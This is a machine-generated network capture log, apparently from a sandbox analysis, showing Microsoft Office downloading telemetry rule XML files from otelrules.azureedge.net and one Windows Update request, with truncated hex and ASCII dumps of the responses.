2024-11-30 03:12:51 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:51 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031251Z-174f7845968j6t2phC1EWRcfe800000010yg00000000dgcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:51 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:53 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:53 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031253Z-174f7845968pf68xhC1EWRr4h8000000113000000000a2tv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:53 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:53 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:53 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 13d8e9aa-301e-0020-7d2e-416299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031253Z-174f7845968pf68xhC1EWRr4h8000000110g00000000fw24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:53 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:53 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:53 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fdaae0ed-201e-000c-15df-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031253Z-174f7845968cpnpfhC1EWR3afc00000010eg00000000b0dy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:54 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:53 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:53 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 4455d6fa-e01e-0052-2ea9-42d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031253Z-174f78459684db9fhC1EWRc7g400000000z00000000013zq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:54 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:53 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:54 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031254Z-174f7845968nxc96hC1EWRspw800000010kg00000000a8xn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:54 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:55 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031255Z-174f78459685m244hC1EWRgp2c00000010kg00000000h1hm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:55 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031255Z-174f7845968zgtf6hC1EWRqd8s0000000tvg000000004fda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:55 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:56 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 58ff5c75-a01e-0053-58bd-428603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031256Z-174f78459684bddphC1EWRbht400000010hg00000000ctw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:55 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:56 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: ebed6b5e-401e-0015-4f72-400e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031256Z-174f7845968glpgnhC1EWR7uec000000113g000000000k35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:56 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:56 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:56 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 390894ac-101e-0017-4400-4247c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031256Z-174f7845968xlwnmhC1EWR0sv800000010mg00000000e76m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49877	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5VeGEGoNDS2WapR&MD=4dYcZxFY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-30 03:12:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 09557769-dba4-4ccb-a765-ad253f2fbffb MS-RequestId: 4e939085-3f0b-4089-8467-7a1888e3ab7d MS-CV: VEllmwo380OmA5MO.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 30 Nov 2024 03:12:57 GMT Connection: close Content-Length: 30005
